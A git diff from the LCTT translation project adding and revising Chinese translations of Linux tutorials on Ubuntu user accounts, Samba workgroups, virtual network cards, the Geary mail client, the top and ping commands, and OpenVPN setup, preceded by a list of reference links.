[18]:https://github.com/mirrors/linux-2.6/blob/0b1e73ed225d8f7aeef96b74147215ca8b990dce/drivers/staging/lustre/lustre/lov/lov_pool.c
[19]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/hashtable.h
[20]:https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/fs/inode.c
[21]:https://github.com/mirrors/linux-2.6/blob/ff812d724254b95df76b7775d1359d856927a840/fs/btrfs/check-integrity.c
[22]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/bitmap.h
[23]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/semaphore.h
[24]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/spinlock.h
[25]:https://github.com/mirrors/linux-2.6/blob/master/lib/bsearch.c
[26]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/drivers/sh/intc/chip.c
[27]:https://github.com/mirrors/linux-2.6/blob/10d0c9705e80bbd3d587c5fad24599aabaca6688/drivers/base/regmap/regcache.c
[28]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/fs/befs/btree.c
[29]:https://github.com/mirrors/linux-2.6/blob/a9238741987386bb549d61572973c7e62b2a4145/drivers/acpi/acpica/nswalk.c
[30]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/fs/configfs/dir.c
[31]:https://github.com/mirrors/linux-2.6/blob/4fbf888accb39af423f271111d44e8186f053723/kernel/locking/lockdep.c
[32]:https://github.com/mirrors/linux-2.6/blob/master/lib/list_sort.c
[33]:https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/fs/ubifs/gc.c
[34]:https://github.com/mirrors/linux-2.6/blob/ff812d724254b95df76b7775d1359d856927a840/fs/btrfs/raid56.c
[35]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/drivers/media/common/saa7146/saa7146_hlp.c
[36]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/ts_kmp.c
[37]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/ts_bm.c
[38]:http://www.cs.utexas.edu/users/moore/publications/fstrpos.pdf
[39]:http://www-igm.univ-mlv.fr/~lecroq/string/string.pdf
[40]:https://code.google.com/p/chromium/
[41]:https://code.google.com/p/chromium/codesearch#chromium/src/v8/src/splay-tree.h
[42]:https://code.google.com/p/chromium/codesearch#chromium/src/native_client_sdk/src/examples/demo/voronoi/index.html
[43]:https://code.google.com/p/chromium/codesearch#chromium/src/chrome/browser/ui/cocoa/tabs/tab_strip_controller.mm
[44]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/bintree.py
[45]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/rbtree.py
[46]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/avltree.py
[47]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/zlib/deflate.c
[48]:https://code.google.com/p/chromium/codesearch#chromium/src/native_client/src/trusted/validator_ragel/dfa_traversal.py
[49]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/WebKit/Source/wtf/BloomFilter.h
[50]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/libvpx/source/libvpx/vp8/common/textblit.c
[51]:http://www.cplusplus.com/reference/stl/
[52]:http://www.cplusplus.com/reference/algorithm/
[53]:http://www.cplusplus.com/reference/algorithm/
[54]:http://docs.oracle.com/javase/7/docs/api/
[55]:http://www.boost.org/doc/libs/1_55_0/libs/algorithm/doc/html/index.html#algorithm.description_and_rationale
[56]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/list_lru.h
[57]:http://en.wikipedia.org/wiki/Page_replacement_algorithm#Clock
[58]:http://dl.acm.org/citation.cfm?id=4750
[59]:http://en.wikipedia.org/wiki/Adaptive_Replacement_Cache
[60]:http://www.varlena.com/GeneralBits/96.php
[61]:http://en.wikipedia.org/wiki/Buddy_memory_allocation
[62]:http://www.facebook.com/notes/facebook-engineering/scalable-memory-allocation-using-jemalloc/480222803919
[63]:http://swtch.com/~rsc/regexp/regexp1.html
[64]:http://en.wikipedia.org/wiki/Aho%E2%80%93Corasick_string_matching_algorithm
[65]:http://lists.freebsd.org/pipermail/freebsd-current/2010-August/019310.html
[66]:http://www.cs.dartmouth.edu/~doug/diff.pdf
[67]:http://linux.die.net/man/3/diff
[68]:http://en.wikipedia.org/wiki/Merkle_tree
[69]:https://github.com/gtk-gnutella/bitter
[70]:http://en.wikibooks.org/wiki/LimeWire
[71]:http://en.wikipedia.org/wiki/MD5
[72]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/crypto/md5.c
[73]:http://www.openssl.org/
[74]:http://en.wikipedia.org/wiki/LALR_parser
[75]:http://en.wikipedia.org/wiki/Lempel_Ziv
[76]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/reed_solomon/reed_solomon.c
[77]:http://rjlipton.wordpress.com/2009/07/13/sat-solvers-is-sat-hard-or-easy/
[78]:http://dl.acm.org/citation.cfm?id=1536637
[79]:http://en.opensuse.org/Portal%3aLibzypp
[101]:http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/
[102]:http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/19773#19773
[103]:http://cstheory.stackexchange.com/users/4155/vijay-d

View File

@ -1,19 +1,19 @@
每日Ubuntu小技巧——在Ubuntu中添加用户
================================================================================
Ubuntu是一个多用户操作系统。多用户操作系统意味着多个用户可以通过独立的、个人的HOME文件夹文件和设置访问计算机。用户A可以登录并修改他/她自己的配置文件而不会影响用户 **B ** 的配置文件。
Ubuntu是一个多用户操作系统。多用户操作系统意味着多个用户可以通过独立的、个人的HOME文件夹文件和设置访问计算机。用户**A**可以登录并修改他/她自己的配置文件而不会影响用户**B**的配置文件。
因此你可以为每一个可能使用你家里电脑的用户创建一个独立的账户而不是仅仅为所有人创建一个共享的账户。
因此你可以为每一个可能使用你家里电脑的用户创建一个独立的账户而不是仅仅为所有人创建一个共享的账户。本文将展示使用Ubuntu时如何实现这一点。
为了获得上面所说的那样的独立账户,首先点击长条菜单栏上的齿轮图标,然后点击系统设置。
![](http://www.liberiangeek.net/wp-content/uploads/2013/09/ubuntulockscreendisable4.png)
当如图所示的窗口打开后,点击“**用户账户User Accounts**”
当如图所示的窗口打开后,点击屏幕下方的“**用户账户User Accounts**”,如下图所示。
![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu.png)
要添加用户到你的Ubuntu需要管理员权限。如果你要这么做,就在添加账户前点击解锁
要添加用户到你的Ubuntu需要管理员权限请在添加账户前点击解锁Unlock)
![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu1.png)
@ -21,17 +21,17 @@ Ubuntu是一个多用户操作系统。多用户操作系统意味着多个用
![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu2.png)
当你创建用户时有两种基本的账户类型: **标准用户 ** 和 **管理员** 。管理员权限用户有权限删除用户,安装软件和驱动,修改日期和时间,或者会进行一些可能使计算机不稳当的操作。
创建用户时有两种基本的账户类型: **标准用户** 和 **管理员** 。管理员权限用户有权限删除用户,安装软件和驱动,修改日期和时间,或者进行一些可能使计算机不稳定的操作。
标准用户不能进行这些操作。他/她只能够修改自己的个人设置里面的东西。
当你输入用户的全名时,用户名将会根据全名自动的被选择。你可以保留自动生成的用户名,如果你需要的话也可以修改用户名。完成后,点击创建来创建账户。
输入用户全名时,系统将根据全名自动选择用户名。你可以保留自动生成的用户名,也可以根据需要修改用户名。完成后,点击**创建Create)**来创建账户。
默认情况下,你创建的账户将会不可用,直到你修改/添加了密码。要想让账户可用,点击账户不可用按钮,然后输入密码。
默认情况下,刚创建的账户是不可用的,除非给他设置或修改了密码。要想让账户可用,点击账户的不可用按钮,然后输入密码。
![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu3.png)
如果你想要用户自动登录而不用输入密码,你可以在设置他/她登录密码的时候选择下选项中的自动登录。
如果你想要用户自动登录而不用输入密码,你可以在设置他/她登录密码的时候选择下选项中的自动登录。
Enjoy!
--------------------------------------------------------------------------------
@ -40,4 +40,4 @@ via: http://www.liberiangeek.net/2013/09/daily-ubuntu-tips-adding-user-accounts-
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
译者:[SCUSJS](https://github.com/scusjs) 校对:[校对者ID](https://github.com/校对者ID)
译者:[SCUSJS](https://github.com/scusjs) 校对:[jasmiepeng](https://github.com/jasminepeng)

View File

@ -0,0 +1,42 @@
每日Ubuntu小技巧-更改Samba工作组和计算机名
================================================================================
这是另一个Ubuntu的新用户问的最多的问题。这个问题的答案很简单但当你接触新事物时你需要时间来完全理解它。
这是我们前几天收到的问题;
> 如何更改Samba的工作组名和Ubuntu的计算机名称
对于大多数Ubuntu用户改变他们的计算机名称是极少发生的事情更别说samba工作组了。一些进阶使用者可能要学习如何用Ubuntu很简单的做到这一点。
当涉及到在Ubuntu中更改计算机名时我们曾写过一个简单的帖子可以点击[这里][1]找到。按照这个[怎样修改你的计算机名字][1]的简易指南来实现目的。
也许还有其他方法来改变你在Ubuntu中的计算机名但是这是最简单和最快的。对于那些使用Ubuntu系统的服务器你可以用vi或vim编辑的主机名和主机文件。那些不了解这些编辑器的人也许很难使用vi或vim。
在键盘上按**Ctrl Alt T**打开终端来更改Ubuntu中的Samba工作组。当终端打开时运行以下命令来编辑的Samba的配置文件。
sudo gedit /etc/samba/smb.conf
打开这个文件后,请确保在[global]段中workgroup起始的那行的单词或值是你想要的工作组。例如如果你希望工作组变成UBGP将WORKGROUP替换成UBGP并保存该文件。在大多数情况下你必须重启动计算机以使之生效。
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/workgroupubuntu.png)
以上就是如何在Ubuntu中更改你的计算机名以及工作组的方法。记住如果你这样做是为了共享或访问Windows文件和文件夹还必须安装Samba。没有Samba你将难以与Windows共享文件。
运行下面的命令安装Samba。
sudo apt-get install samba
欢迎回来掌握更多的Ubuntu小技巧。
尽情享受吧!
---
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-change-samba-workgroup-and-computer-name/
译者:[crowner](https://github.com/crowner)[whatever1992](https://github.com/whatever1992) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://linux.cn/article-2199-1.html

View File

@ -0,0 +1,42 @@
Ubuntu每日小贴士 - 在Ubuntu下创建虚拟网卡
================================================================================
这个教程是为那些想用Ubuntu做点小实验的用户准备的。这并不适用于所有人尤其是那些在正式环境中使用生产机器的用户。
如果你对网络运行和IP网络有所了解你应该知道在大多数情况下每个网卡只会分配一个IP地址。我们习惯认为这是一对一的事物。
一个网卡对应一个IP地址你在一台机器上的一个网卡及其IP地址只能绑定或运行单一的网络服务/端口。例如如果你想在80端口运行一个web服务器而一个IP地址和端口号只能由一个web服务器监听。这是这样设计的。
所以网卡和IP地址并不是一对一的关系你可以创建可以单独分配IP地址的虚拟网卡。因此单一的物理网卡可以群集无限的子网卡或虚拟网卡。每一个都能分配它自己IP地址到对应的端口。
这个简短的教程将展示给你如何在Ubuntu上做到这些。这是在一台电脑上用一张物理网卡和单一的端口号运行及测试多个网络服务的好方式。
动手吧,运行下列命令打开网络接口文件。
sudo gedit /etc/network/interfaces
然后按照下图中的步骤添加你想要的任意多的虚拟网卡。默认情况下Linux会给第一张网卡分配eth0的名称所以如果你的机子只有一张网卡那么它会被命名为eth0。
添加虚拟网卡创建多个静态网卡并命名为eth0:1、eth0:2、eth0:3等等(eth0后面紧跟冒号和数字)。
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/virtualnetworkcardubuntu.png)
对于你创建的每一个网卡也要确保网络都是不同的子网这是网络常识译注事实上并非如此虚拟网卡完全可以是相同子网的IP地址只要你需要
完成以后,保存文件并用下列命令重启网络服务。
sudo service networking restart
就是这样!
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/virtualnetworkcardubuntu1.png)
玩得开心!
--------------------------------------------------------------------------------
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-create-virtual-network-cards-in-ubuntu-linux/
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,46 @@
每日Ubuntu小技巧一款轻量级的Email阅读器Geary
================================================================================
正如大家所知Ubuntu 本身自带可以收发邮件的客户端——Thunderbird当然它也支持GmailYahoo MailMicrosoft Outlook 等等支持IMAP协议的邮件服务。
Thunderbird 是一个功能强大的邮件客户端只要email客户端所需要的功能它都能够做到。但是如果你想选择一个能在够在GNOME 下运行的轻量级客户端Geary 是一个不错的选择。
Geary 是一个界面简洁,能让你快捷方便的地阅读邮件的免费程序。它所有的对话均展示在一个简洁的面板上,这样你可以不必点击鼠标来切换消息。
Geary 还支持IMAP 协议所以你可以使用Google, Yahoo 和 Microsoft 这样的在线邮箱服务。
以Ubuntu 13.10用户为例Geary 可以在Ubuntu 的软件中心获取。只要运行以下命令即可安装Geary 。
sudo apt-get install geary
在以前的Ubuntu 版本中,键盘按下**Ctrl Alt T** 可以打开终端。打开之后运行以下命令增加PPA源。
sudo add-apt-repository ppa:yorba/ppa
接下来运行以下命令来升级系统和安装Geary 。
sudo apt-get update && sudo apt-get install geary
第一次启动Geary时你需要设置你的GmailYahoo 或 Microsoft 电子邮件帐户。
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/gearyubuntu.png)
设置非常的简单只要输入你的账号信息Geary 就会自动配置好你的账号。
若想卸载Geary 首先要从系统中移除它的PPA源要运行的命令如下。
sudo add-apt-repository -r ppa:yorba/ppa
然后再运行以下命令卸载Geary 。
sudo apt-get remove geary
就这么简单~
--------------------------------------------------------------------------------
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-get-geary-a-lightweight-email-reader-in-ubuntu/
译者:[NearTan](https://github.com/NearTan) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,33 @@
解密"top"命令
================================================================================
当对服务器的性能好奇时,我第一个想到的是"top"命令。top不是最好的它不是一个长期的快照但是它提供了服务器的一个不错的时间点快照并且试着提供了告诉"现在在发生什么?"。不幸地如果你没有深入了解不同显示域的意义top的输出很容易被误解。
我不会完整解读top命令的[man page][2]当你和时间和意愿时它一直在那等着你。我想要做的是指出一些我如何得到系统的快速概况的几个要点并希望得到我接下来该怎么做的指示。top是我在故障排除时的第一站但这很少会是我唯一的一站。
[![](http://farm4.staticflickr.com/3827/10847969205_5005a709c2_o.png)][1]
top命令我第一个看的是平均负载(load average)它在右上角的屏幕上。平均负载的计算是基于统计搜集到的数量但是通常可以认为是CPU被请求工作的数量。如果你的机器有一个单核CPU那么平均负载是1就意味着机器满载的并且有足够的能力在采样时间内完成任务。同样地如果平均负载是2那对单核的CPU是超载的并需要2个可用内核才能在同样的采样时间内完成的要求的任务。随着8、16、32核的发售我会在判断平均负载的时候就要注意一下。比如我需要去检测时我会在top里按了数字"1"这会列出所有CPU核列表这样我就可以得到一个快速计数用于比较负载。
我检查的第二项是上面列出来的内容的第9列标记着"%CPU"那个。对这一列的解释是很模糊的:
> 任务所分享的上次屏幕刷新后的CPU运行时间以全部的CPU时间百分比表示。在一个真正的SMP多处理器环境中如果'Irix mode'是关闭的top会在'Solaris mode'下运行这里一个任务的cpu使用率将除以全部的CPU数量。你可以用'I'大写字母I这个交互命令触发Irix或Solaris模式。
一点也不清楚,是么?这里要记住的主要意思是,如果单个进程由于某个原因或者其他因素占用率升高,那么他很有可能会以%CPU很高的数字显示在top的第一行。
我下一个注意到的区域是"Cpu(s):"这一行,在头部信息的中间。特别地,我对%us、sy%、%id、和%wa感兴趣它们分别是用户进程、系统进程、空闲时间和CPU用于等待I/O流执行的时间比例。这个百分比应该接近于0高于5%时需要密切关注。
最后我想要看看系统up时间这显示在左上角。如果我对一台服务器有疑问并且这台服务器最近重启过这里可能会发现一些什么或许是一个守护进程没有启动。
这些检查只需要几秒。如果我只是观察我可能让top运行几分钟并观察进程、CPU和负载但是通常地我很快地进入和退出top。top是给你一个系统健康概况的那些奇妙系统管理员工具之一并允许你快速诊断潜在的问题。
--------------------------------------------------------------------------------
via: http://ostatic.com/blog/deciphering-top
译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.flickr.com/photos/51724787@N06/10847969205/
[2]:http://www.linuxmanpages.com/man1/top1.php

View File

@ -0,0 +1,68 @@
五个 ping 工具的使用实例
================================================================================
### 什么是 ping 工具###
在讲述一些关于ping工具真实直观的使用实例前先让我来介绍一下这个命令行工具及其目的。ping工具通常用来测试一台主机在互联网协议(IP)网络内的可达性。其名字源于主动声纳法——在水下创建一个脉冲声音信号(ping)并侦听周围物体的返回信号。该方法同样生动描述了ping网络工具的工作原理。ping工具对一台主机发送回应请求然后等待ICMP响应。
实践中的ping工具的一些例子
### 查询主机的IP地址 ###
有时候你需要得到某一台主机的IP地址如图一。只需要键入ping命令后面跟上要查询的主机名。
ping www.omgubuntu.com
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping1.png)
### 查询正在使用的ping工具的版本信息 ###
用 -V 选项可以用来查询你手头上ping工具的版本信息。键入下列命令显示正在使用的ping工具的版本信息。
ping -V
正如你从图二见到的我正在使用的是“ping utility,iputils-sss20101006”
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping2.png)
### 自动退出 ping ###
当你用ping 主机命令ping一台机器时ping自己无法停止你必需按下CTRL+C强行退出或者你可以用 -c (count)选项指定发送包的数量。使用-c选项当网络管理员(其实普通用户也可以)发送完指定数量的包之后无需按CTRL+Cping进程就会自动停止。
ping -c 13 127.0.0.1
上列的命令发送了13个包到我的本地主机上。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping3.png)
正如你从图三看到的我并没有按CTRL+C而ping自动退出了。
### 指定数据包之间的时间间隔 ###
你知道ping每秒钟发送一个数据包吗你喜欢快一点还是慢一点用 -i 选项能指定包之间的时间间隔。用下列命令快速发送或慢速发送包。
### 每0.13秒发送一个包 ###
ping -i 0.13
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping4.png)
### 每13秒发送一个包 ###
ping -i 13
### 结合 -i 选项和 -c 选项 ###
ping -c 13 -i 3
总共花费39秒发出13个数据包数据包的时间间隔为三秒。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping6.png)
--------------------------------------------------------------------------------
via: http://www.unixmen.com/five-examples-ping-utility/
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -1,12 +1,13 @@
Linux上如何架设 OpenVPN 建立安全的远程网络[part 1]
Linux上如何通过 OpenVPN 建立安全的远程连接【上】
================================================================================
一直以来我们在互联网上传输信息时都谨慎地为这些信息加密以防内容泄露出去特别是在政府的干预下为网络上每个字节都进行加密已经变得空前重要了。在这种情况下OpenVPN 是保障网络信息安全的首选。今天我们就来学习一下如何架设 OpenVPN使你可以在任何场所都能安全地访问家里的服务器。
VPN 小贴士:很多商业的 VPN 根本不值它们的售价,它们的安全性只比通过 SSL 保护的网站高一点点,原因是它们信任所有客户端。一个真正意义上的 VPN 用于在非可信网络上连接两个可信的终端。用户不能随便找一台 PC 机就能登录进 VPN因为你的 VPN 如果能被一台受到病毒感染的 PC 登录进来,不管它们建立的连接有多么安全,都不是一件好事情。所以你必须在你的客户端和服务器端都要好好地配置一下 VPN 服务。
### OpenVPN 快速入门 ###
你需要两台不同子网下的计算机,比如同一网一台使用网线的 PC 和一台使用无线 的 PC或者是 VitualBox 虚拟机上的多台Linux客户机并且你要知道它们的 IP 地址。这里分别为这两台计算机命名为“Studio”和“Shop”都给它们上 OpenVPN。OpenVPN 支持大多数 Linux 发行版,所以你只要用你手头的安装包管理软件就行。本文的包管理器是 Debian、Ubuntu 以及它们的衍生版中使用的 apt-get下面安装 OpenVPN
你需要两台不同子网下的计算机,比如同一网络内一台使用网线的 PC 和一台使用无线 的 PC或者是 VitualBox 虚拟机上的多台Linux客户机并且你要知道它们的 IP 地址。这里分别为这两台计算机命名为“Studio”和“Shop”都给它们上 OpenVPN。OpenVPN 支持大多数 Linux 发行版,所以你只要用你手头的安装包管理软件就行。本文的包管理器是 Debian、Ubuntu 以及它们的衍生版中使用的 apt-get下面安装 OpenVPN
$ sudo apt-get install openvpn openvpn-blacklist
@ -16,11 +17,13 @@ VPN 小贴士:很多商业的 VPN 根本不值它们的售价,它们的安
$ ps ax|grep openvpn
如果 openvpn 这个后台进程存在,那就 kill 了它。这里假设“Studio”这台 PC 的 IP 是192.168.1.125“Shop”的 IP 是192.168.2.125。现在在“Studio”端开启一个未加密的连接到“Shop”端
如果 openvpn 这个后台进程存在,那就 kill 了它。这里假设“Studio”这台 PC 的 IP 是192.168.1.125“Shop”的 IP 是192.168.2.125。
现在在“Studio”端开启一个未加密的连接到“Shop”端
$ sudo openvpn --remote 192.168.2.125 --dev tun0 --ifconfig 10.0.0.1 10.0.0.2
然后开一个从“Shop”到“Studio”的连接
然后开一个从“Shop”到“Studio”的连接
$ sudo openvpn --remote 192.168.1.125 --dev tun0 --ifconfig 10.0.0.2 10.0.0.1
@ -36,7 +39,7 @@ VPN 小贴士:很多商业的 VPN 根本不值它们的售价,它们的安
Wed Oct 16 2013 Peer Connection Initiated with [AF_INET]192.168.2.125:1194
Wed Oct 16 2013 Initialization Sequence Completed
看到“Initialization Sequence Completed”这句话时说明你的操作成功了。这时你应该能够 ping 通两个隧道的 IPping 10.0.0.1 和 ping 10.0.0.2。当你建立隧道的时候,你无需在意你所在的网络,你可以为你的隧道指定任何 IP 地址。关闭隧道请按 Ctrl+c。
看到“**Initialization Sequence Completed**”这句话时,说明你的操作成功了。这时你应该能够 ping 通两个隧道的 IPping 10.0.0.1 和 ping 10.0.0.2。当你建立隧道的时候,你无需在意你所在的网络,你可以为你的隧道指定任何 IP 地址。关闭隧道请按 Ctrl+c。
现在你可以利用这个隧道打开一个 SSH 会话了。图1显示了通过 VPN 隧道登录 SSH 的例子,这个图也显示了有趣的 Message of the DayMOTD图片图片来自于博客《[在你的 Linux 系统上放一张奶牛的 MOTD 图片][2]》:
@ -46,11 +49,11 @@ VPN 小贴士:很多商业的 VPN 根本不值它们的售价,它们的安
*图1成功通过 VPN 隧道建立 SSH 会话,并显示了有趣的 MOTD 图片*
哼哼哈𠯋,它运行得不错。
哼哼哈嘿,它运行得不错!
### 加密后的 VPN 隧道 ###
目前为止我们玩得还不赖但是没有使用加密技术一切都毫无意义所以我们需要建立一个简单的静态密钥配置文件。不像公钥基础设施PKI有着根认证中心、可撤消认证等安全措施我们的加密机制没有那么强悍但是对于仅仅想远程到家里的用户来说已经足够了。OpenVPN 有提供创建静态密钥的命令,我们可以建立目录存储密钥、创建密钥,并将文件设为对file owner只读模式:
目前为止我们玩得还不赖但是没有使用加密技术一切都毫无意义所以我们需要建立一个简单的静态密钥配置文件。不像公钥基础设施PKI有着根认证中心、可撤消认证等安全措施我们的加密机制没有那么强悍但是对于仅仅想远程到家里的用户来说已经足够了。OpenVPN 有提供创建静态密钥的命令,我们可以建立目录存储密钥、创建密钥,并将文件设为对属主只读模式:
$ sudo mkdir /etc/openvpn/keys/
$ sudo openvpn --genkey --secret /etc/openvpn/keys/static.key
@ -82,7 +85,7 @@ VPN 小贴士:很多商业的 VPN 根本不值它们的售价,它们的安
$ sudo openvpn /etc/openvpn/studio.conf
$ sudo openvpn /etc/openvpn/shop.conf
成功建立连接后你还会看到“Initialization Sequence Completed”这句话但你不会再看到这句 WARNING这句话会在你建立了未加密的隧道时出现
成功建立连接后,你还会看到“**Initialization Sequence Completed**”这句话,但你不会再看到这句 WARNING这句话会在你建立了未加密的隧道时出现
******* WARNING *******: all encryption and authentication features disabled
@ -92,7 +95,7 @@ OpenVPN 本身是比较容易配置的,最麻烦的是处理防火墙和动态
接下来处理另一件麻烦事:动态 IP 地址。[Dyn.com][3]可以提供一个廉价的方法,为你管理 ISP 分配给你的动态 IP或者你也可以向你的 ISP 支付一笔费用,从而得到一个静态 IP。
至此,你可以宣告工作完成了,接下来的任务就是手动开启服务器端的 OpenVPN让它一直运行在那里等待你的登录。你可以将你的笔记本拿到外面并随时随地随心所欲地连接到服务器。然而关于 OpenVPN 的操作,我还有一些重要的知识点要讲,比如如何为 OpenVPN 设置开机启动,如何利用 Network Manager 自动建立连接,以及这篇 OpenVPN 教程中最重要的一块:如何访问你的远程服务器上的资源。我们下周见
至此,你可以宣告工作完成了,接下来的任务就是手动开启服务器端的 OpenVPN让它一直运行在那里等待你的登录。你可以将你的笔记本拿到外面并随时随地随心所欲地连接到服务器。然而关于 OpenVPN 的操作,我还有一些重要的知识点要讲,比如如何为 OpenVPN 设置开机启动,如何利用 Network Manager 自动建立连接,以及这篇 OpenVPN 教程中最重要的一块:如何访问你的远程服务器上的资源。请看下一篇
--------------------------------------------------------------------------------

View File

@ -1,10 +1,11 @@
OpenVPN 安全手册[part 2]
Linux上如何通过 OpenVPN 建立安全的远程连接【下】
================================================================================
欢迎你们回来继续看我们的 OpenVPN 系列的第二部分。上次我们讲到如何让远端计算机(如笔记本电脑)[通过简单的加密隧道]登录到家里的服务器。今天我们接着讲进阶部分:比如设置 OpenVPN 开机启动,省得我们每次重启服务器的时候都要手动开启 OpenVPN 服务;比如使用 Network Manager 简化访问到远程服务器的过程。
欢迎你们回来继续看我们的 OpenVPN 系列的下篇。[上次][1]我们讲到如何让远端计算机(如笔记本电脑)[通过简单的加密隧道][1]登录到家里的服务器。今天我们接着讲进阶部分:比如设置 OpenVPN 开机启动,省得我们每次重启服务器的时候都要手动开启 OpenVPN 服务;比如使用 Network Manager 简化访问到远程服务器的过程。
### 整合到 Network Manager ###
Network Manager 是一个不错的 OpenVPN 客户端;你只需要安装 network-manager-openvpn 这个插件。我们继续《OpenVPN 安全手册》第一部分使用的配置。打开 Network Manager 配置界面,进入“新建 VPN 连接”的窗口。这个界面布局在 KDE 和 GNOME 下面看起来有点不一样,但是大体的信息是一样的。开始的时候你需要选择 OpenVPN 作为你的 VPN 连接类型就像图1所示如果你没看到 OpenVPN 的选项说明你没有安装好插件。图1是一张 GNOME 下面的图片。)
Network Manager 是一个不错的 OpenVPN 客户端;你只需要安装 network-manager-openvpn 这个插件。我们继续[上篇][1]使用的配置。打开 Network Manager 配置界面,进入“新建 VPN 连接”的窗口。这个界面布局在 KDE 和 GNOME 下面看起来有点不一样,但是大体的信息是一样的。开始的时候你需要选择 OpenVPN 作为你的 VPN 连接类型就像图1所示如果你没看到 OpenVPN 的选项说明你没有安装好插件。图1是一张 GNOME 下面的图片。)
![](http://www.linux.com/images/stories/41373/figu-1-openvpn-nm.jpg)
@ -12,20 +13,20 @@ Network Manager 是一个不错的 OpenVPN 客户端;你只需要安装 networ
图2显示了配置主界面。从上到下分别为
- 连接名,取一个。
- 连接名,随便取一个。
- 远程服务器的网关。
- 下拉菜单选择静态密钥Static Key
- 然后通过文件浏览器找到静态密钥文件。
- 这个不是方向性的密钥,所以 Key Direction 这里设为 None。
- 远程 IP 和 本地 IP 是我们在上一部分已经设置好的虚拟 OpenVPN 地址,可分别通过 /etc/openvpn/studio.conf 和 /etc/openvpn/shop.conf 文件获得。
- 我们无需设置密码所以“Show passwords”复选框为空。
- 这个连接是“所有人都可用”,还是只有你可用,随你喜欢。
- 这个VPN连接是“所有人都可用”,还是只有你可用,随你喜欢。
![](http://www.linux.com/images/stories/41373/fig-2-openvpn-nm-1.jpg)
*图2Network Manager 配置 OpenVPN 客户端主界面*
保存然后就可以使用 Network Manager 建立连接了。So easy妈妈再也不用担心的学习了看见图3了么你现在只需点击一下高亮的按钮就可以连接到你的家庭服务器或从你的家庭服务器中断开连接。
保存然后就可以使用 Network Manager 建立连接了。So easy妈妈再也不用担心的学习了看见图3了么你现在只需点击一下高亮的按钮就可以连接到你的家庭服务器或从你的家庭服务器中断开连接。
![](http://www.linux.com/images/stories/41373/fig-3-openvpn-nm-3.jpg)
@ -42,7 +43,7 @@ Ubuntu 使用 Upstart 管理服务进程Debain 使用的老的 SysV而 Fed
# systemctl start openvpn@studio.service
这里的“studio.service”与我们在第一部分讲过的例子中的 /etc/openvpn/studio.conf 配置的服务相对应。用这些方法启动的后台进程,在系统重启后会失效,所以这些方法都和第一部分讲的启动方式一样,仅能使 OpenVPN 运行一次。你可以将启动 OpenVPN 进程的任务交给 chkconfig
这里的“studio.service”与我们在上篇讲过的例子中的 /etc/openvpn/studio.conf 配置的服务相对应。用这些方法启动的后台进程,在系统重启后会失效,所以这些方法都和上篇讲的启动方式一样,仅能使 OpenVPN 运行一次。你可以将启动 OpenVPN 进程的任务交给 chkconfig
# service openvpn start
# chkconfig openvpn on
